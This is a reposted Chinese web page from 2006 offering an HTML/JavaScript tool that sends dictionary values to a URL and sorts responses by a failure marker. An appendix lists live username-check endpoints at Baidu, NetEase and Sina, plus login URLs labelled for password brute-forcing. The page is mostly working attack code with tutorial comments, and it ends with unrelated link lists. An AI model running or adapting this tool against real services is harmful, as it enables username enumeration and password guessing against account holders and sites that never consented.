javascript字典探测用户名工具


Posted in Javascript onOctober 05, 2006

<html>
<head>
<style>
body         { font-size: 10pt; background-color:#D4D0C8 }
td           { font-size: 9pt }
</style>
</head>

<script language="javascript">

/*
程序标题:javascript字典探测用户名工具
发布时间:2006年8月
文章作者:翟振凯 (小琦)
作者网站:http://www.xiaoqi.net    
作者论坛:http://www.tdqy.com
演示地址:http://www.xiaoqi.net/zuopin/js_user_swf.htm
QQ:22336848 53353866
关于本文:
    授人予鱼,不如授人予渔。本程序的核心代码处,都有详细的注解,
    目地是让大家了解一个程序的开发过程和这个程序功能的实现原理,
    而不仅仅是给大家提供一个这样的工具。希望看过本文后的朋友会有
    所收获,能和我共同分享用javascript编写程序的乐趣。
*/

//尝试用IE浏览器的方式创建XMLHttpRequest对象
var xmlhttp = null; 
try 

    xmlhttp = new ActiveXObject("MSXML2.XMLHTTP");  

catch(e) 

    try 
    { 
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    } 
    catch(e){
        alert("您的浏览器不能创建XMLHttpRequest对象,无法使用此程序!");
    } 

//尝试用IE浏览器的方式创建XMLHttpRequest对象结束

/*
翟振凯注:MSXML2.XMLHTTP 和 Microsoft.XMLHTTP 都是微软的XMLHTTP控件,只是版本不同。
          IE的安全级别如果不是太高,微软的XMLHTTP控件是可以跨域获取数据的。
          因为 Mozilla Firefox 浏览器的 XMLHttpRequest() 不能跨域获取数据,我们就不用 XMLHttpRequest() 方法创建XMLHTTP对象了。
*/

//对返回的中文编码处理 作者:翟振凯
function Rec_Html(Html)
{
    var Rec=new ActiveXObject("ADODB.RecordSet");    
    Rec.Fields.Append("xiaoqi",201,1);    
    Rec.Open();    
    Rec.AddNew();    
    Rec(0).AppendChunk(Html);    
    Rec.Update();    
    return Rec(0).Value;
    Rec.Close();
}
//对返回的中文编码处理结束

//开始探测 参数为要探测的当前值 
function geturl(id)
{
try{
           xmlhttp.open("GET",url.value+id,false);//定义数据传送方式,服务网页的URL(探测地址+探测值),是否同步执行
           xmlhttp.onreadystatechange = function() {//xmlhttp 触发事件

          if(xmlhttp.readyState==4)//xmlhttp对象状态如果为完成
          {    
          if(xmlhttp.status==200)    //如果服务器返回的状态码为200(成功)
          {  

                 //对结果的中文编码转换判断
                 if(err.value.replace(/[^\W]/g,'').length=0)
                 /*关于转换判断的注:
                   例如:"翟振凯".replace(/[^\W]/g,'').length          返回结果 3 
                        "翟振凯22336848".replace(/[^\W]/g,'').length  返回结果 3
                        "xiaoqi22336848".replace(/[^\W]/g,'').length  返回结果 0
                        "小琦22336848".replace(/[^\W]/g,'').length    返回结果 2
                   replace(/[^\W]/g,'')的功能是把字符串里的英文和数字都清除掉。
                  */
                    {
                            Html=xmlhttp.responseText;//不转换
                    }
                 else 
                     {
                             Html=Rec_Html(xmlhttp.responseBody);//转换
                    }
                 //对结果的中文编码转换判断结束

                                        
                 // 根据判断依据区分可用或不可用的值!
                 if(Html.indexOf(err.value,0)<0)
                     {
                            x_1.innerHTML=x_1.innerHTML+"<nobr> "+id;//输出可用值
                     }
                 else 
                     {
                            x_2.innerHTML=x_2.innerHTML+"<nobr> "+id;//输出不可用值
                     }
                 // 根据判断依据区分可用或不可用的值!
          }    
          }    
          }    
           xmlhttp.send();
          }    
catch(e)    

x_2.innerHTML=x_2.innerHTML+"<nobr> "+id+"超时!";//输出异常或超时的值。
}           
}
//开始探测结束

//载入本地字典文件,并把内容定义为数组
function kaishi(){ 
        fileFullPath=dic_url.value;
        xmlhttp.open("GET",fileFullPath,false);//载入字典文件方法
        xmlhttp.send();

        Html=Rec_Html(xmlhttp.responseBody);//中文编码转换        
        dic=Html.split('\r\n');//以换行符将载入的字典内容转换为数组    
        sl.value=dic.length;//告诉用户要探测的次数(数组大小)

xunhuan()//成功载入后开始循环探测。
}
//载入本地字典文件,并把内容定义为数组结束

//循环探测
function xunhuan()
{
        bar=parseInt(jd.value);//将进度值转换为整数
        if(bar<sl.value)//判断是否探测完
        {
                for(i=0;i<parseInt(jc.value);i++){//设定探测线程
                        geturl(dic[bar+i]);//从数组内取值进行探测               
                }

                jd.value=bar+parseInt(jc.value);//累加探测进度,并向用户呈现当前进度
                setTimeout("xunhuan()",parseInt(hc.value*1000));//根据缓冲时间来进行重复循环探测        
        }
        else//如果进度不小于要探测的次数,就向用户返回探测完成的结果。
        {
                alert("探测完成!");
        }
}
//循环探测结束

//暂停探测函数
function pause(obj)
{
    if(obj.value=='暂停')
        {
        obj.temp=hc.value;//记忆原来的缓冲时间。
        hc.value=5000;//将缓冲时间设置为5000秒,这个值自己可以修改。
        obj.value='继续';//改变按钮显示状态
        } 
    else 
        {
        hc.value=obj.temp;//提取原来的缓冲时间。
        obj.value='暂停';//改变按钮显示状态
        kaishi()//继续探测
        }
}
//暂停探测函数结束

function ck()//单个值探测验证检查
{
    if (url.value.length<5){alert('请输入要探测地址!');return};
    if (id_one.value.length<1){alert('请输入要探测的值!');return};
    geturl(id_one.value)
}

function ck1()//批量值探测验证检查
{
    if (url.value.length<5){alert("请输入要探测地址!");return}
    if (err.value.length<1){alert("请输入不可用标记!");return}
    if (dic_url.value.length<5){alert("请先选择字典文件!");return}
    jd.value=0;
    kaishi()
}
</script>

<body>

程序作者:翟振凯  注:如果无法使用,或结果显示超时,请将本页下载到本地计算机上使用。
<fieldset >
<legend>探测设置</legend>
<table border="1" width="100%" bordercolorlight="#E6E6E6" cellspacing="0" bordercolordark="#D4D0C8">
    <tr>
        <td>探测地址</td>
        <td>
        <input type="text" id="url" size="63" value="http://www.xiaoqi.net/zuopin/login.asp?username=翟振凯&password="></td>
    </tr>
    <tr>
        <td>失败包涵标记 </td>
        <td><input type="text" id="err" size="63" value="不正确"></td>
    </tr>
    <tr>
        <td>测试单个值</td>
        <td><input type="text" id="id_one" size="20">
        <input type="button" value="探测" onclick="ck();"> </td>
    </tr>
    <tr>
        <td>选择字典文件</td>
        <td><input type="file" name="dic_url" size="20" value="">
        <input type="button" value="开始" onclick="ck1();">
        <input type="button" value="暂停" temp="" onclick="pause(this)">
        <input type="button" value="清除可用结果" onclick="x_1.innerHTML=''">
        <input type="button" value="清除不可用结果" onclick="x_2.innerHTML=''">
        </td>
    </tr>
    <tr>
        <td>高级参数</td>
        <td>
        每次探测:<input type="text" id="jc" value="1" size="3"> 个  
        缓冲时间:<input type="text" id="hc" value="0.1" size="3"> 秒  
        进度:<input type="text" id="jd" value="0" size="12">  
        探测数量:<input type="text" id="sl" size="13">
        </td>
    </tr>
</table>
</fieldset> 

<fieldset>
<legend>可用值:</legend>
<div style="height:100px;width:100%;overflow:auto;"><span id="x_1"></span></div></fieldset>

<fieldset>
<legend>不可用值:</legend>
<div style="height:100px;width:100%;overflow:auto;"><span id="x_2"></span></div>
</fieldset>

 <p>附录:</p>
<table border="1" width="100%" id="table1" cellspacing="0" cellpadding="3">
    <tr style="font-weight: bold; background-color: #C0C0C0">
        <td width="111">测试字典文件地址</td>
        <td width="633" colspan="3"><span style="font-weight: 400">
        <font size="3">http://www.xiaoqi.net/zuopin/dic.txt</font></span></td>
    </tr>
    <tr style="font-weight: bold; background-color: #C0C0C0">
        <td width="111">网站名</td>
        <td width="435">入口</td>
        <td width="83">不可用标记</td>
        <td width="105">备注</td>
    </tr>
    <tr>
        <td width="111">百度用户注册</td>
        <td width="435">http://passport.baidu.com/?check_username&un=</td>
        <td width="83">false</td>
        <td width="105"> </td>
    </tr>
    <tr>
        <td width="111">百度空间注册</td>
        <td width="435">http://hi.baidu.com/sys/checkurl/item/</td>
        <td width="83">false</td>
        <td width="105">要先用百度用户登陆</td>
    </tr>
    <tr>
        <td width="111">网易通行证注册</td>
        <td width="435">http://reg.163.com/register/checkssn.jsp?username=</td>
        <td width="83">对不起</td>
        <td width="105"> </td>
    </tr>
    <tr>
        <td width="111">新浪通行证</td>
        <td width="435">
        <input type="text" size="57" value="http://unipro.sina.com.cn/cgi-bin/t5checkuser0.cgi?encpm=96ad1b22f3b6f5d641980dd7515d40b0779972460aea0f857bfd45c63380c909382087da578a10a278fa840c6cec9cb2c933eace6ef114ae61938a14a2f9fa569f33421b346faae845af2b99a203408ef831de7de17ae6726224b2f89f65efeb089ed08084afb13b8b9232bd10a7ede7fd2a6b3d2181558bef80c3a45976850d&email=&password=&password2=&pwdQ=&pwdA=&sex=&byear=1986&bmonth=01&bday=01&options=&outinstr=&safe_num=&safe_num2=&identityinfo=&identityNum=&checkidentityNum=&ismail=&userid="></td>
        <td width="83">登录名被占用</td>
        <td width="105"> </td>
    </tr>
    <tr>
        <td width="111">测试网站用户密码暴力破解</td>
        <td width="435">
        http://www.xiaoqi.net/zuopin/login.asp?username=翟振凯&password=</td>
        <td width="83">不正确</td>
        <td width="105"> </td>
    </tr>
    <tr>
        <td width="111">测试网站用户密码暴力破解</td>
        <td width="435">
        http://www.xiaoqi.net/zuopin/login.asp?username=小琦&password=</td>
        <td width="83">不正确</td>
        <td width="105"> </td>
    </tr>
</table>
 <input type="hidden" id="dic1" value="ff"><input type="hidden" id="jc_id" value><p>
程序作者:翟振凯 开发日期:2006年8月<br>
作者网站:<a href="http://www.xiaoqi.net">http://www.xiaoqi.net</a><br>
演示地址:<a href="http://www.xiaoqi.net/zuopin/js_user_swf.htm">http://www.xiaoqi.net/zuopin/js_user_swf.htm</a><br>
程序打包下载地址:<a href="http://www.xiaoqi.net/zuopin/js_user.rar">http://www.xiaoqi.net/zuopin/js_user.rar</a><br>
QQ:22336848</p></p>

</body>

</html>

Javascript 相关文章推荐
js 操作css实现代码
Jun 11 Javascript
document.createElement()用法及注意事项(ff下不兼容)
Mar 13 Javascript
JS批量修改PS中图层名称的方法
Jan 26 Javascript
js交换排序 冒泡排序算法(Javascript版)
Oct 04 Javascript
jQuery中text() val()和html()的区别实例详解
Jun 28 Javascript
js将字符串中的每一个单词的首字母变为大写其余均为小写
Jan 05 Javascript
原生JS获取元素的位置与尺寸实现方法
Oct 18 Javascript
基于vue-cli创建的项目的目录结构及说明介绍
Nov 23 Javascript
angular动态表单制作
Feb 23 Javascript
JavaScript中的各种宽高属性的实现
May 08 Javascript
ES6对象操作实例详解
May 23 Javascript
JavaScript缺少insertAfter解决方案
Jul 03 Javascript
TFDN图片播放器 不错自动播放
Oct 03 #Javascript
DOM精简教程
Oct 03 #Javascript
JavaScript去除空格的几种方法
Oct 03 #Javascript
让您的菜单不离网站
Oct 03 #Javascript
为数据添加append,remove功能
Oct 03 #Javascript
Array对象方法参考
Oct 03 #Javascript
一个对于Array的简单扩展
Oct 03 #Javascript
You might like
php在数组中查找指定值的方法
2015/03/17 PHP
php实现将上传word文件转为html的方法
2015/06/03 PHP
使用php+swoole对client数据实时更新(一)
2016/01/07 PHP
ThinkPHP3.2框架自定义配置和加载用法示例
2018/06/14 PHP
js jquery分别实现动态的文件上传操作按钮的添加和删除
2014/01/13 Javascript
jquery制作LED 时钟特效
2015/02/01 Javascript
JavaScript随机生成信用卡卡号的方法
2015/04/07 Javascript
jQuery实现灰蓝风格标准二级下拉菜单效果代码
2015/08/31 Javascript
体验jQuery和AngularJS的不同点及AngularJS的迷人之处
2016/02/02 Javascript
Fullpage.js固定导航栏-实现定位导航栏
2016/03/17 Javascript
JS组件Bootstrap实现图片轮播效果
2016/05/16 Javascript
使用jquery获取url及url参数的简单实例
2016/06/14 Javascript
require.js+vue开发微信上传图片组件
2016/10/27 Javascript
JavaScript定义函数的三种实现方法
2017/09/23 Javascript
微信小程序 input输入及动态设置按钮的实现
2017/10/27 Javascript
vue 使用Jade模板写html,stylus写css的方法
2018/02/23 Javascript
Layui动态生成select下拉选择框不显示的解决方法
2019/09/24 Javascript
vue实现导航标题栏随页面滚动渐隐渐显效果
2020/03/12 Javascript
Javascript中Math.max和Math.max.apply的区别和用法详解
2020/08/24 Javascript
vue 单页应用和多页应用的优劣
2020/10/22 Javascript
[01:13:51]TNC vs Serenity 2018国际邀请赛小组赛BO2 第二场 8.18
2018/08/19 DOTA
详解Python3.6的py文件打包生成exe
2018/07/13 Python
python实现鸢尾花三种聚类算法(K-means,AGNES,DBScan)
2019/06/27 Python
详解pandas数据合并与重塑(pd.concat篇)
2019/07/09 Python
python面向对象 反射原理解析
2019/08/12 Python
css3实现超立体3D图片侧翻倾斜效果
2014/04/16 HTML / CSS
实例讲解CSS3中的border-radius属性
2015/08/18 HTML / CSS
中国跨境在线时尚零售商:Bellelily
2018/04/06 全球购物
澳大利亚最大的护发和护肤品购物网站:RY
2019/12/26 全球购物
软件测试工程师笔试题带答案
2015/03/27 面试题
计算机学生求职信范文
2014/01/30 职场文书
计算机求职信
2014/07/02 职场文书
护士长2015年终工作总结
2015/04/24 职场文书
胡桃夹子观后感
2015/06/11 职场文书
励志正能量20句:送给所有为梦想拼搏的人
2019/11/11 职场文书
Jupyter Notebook 如何修改字体和大小以及更改字体样式
2021/06/03 Python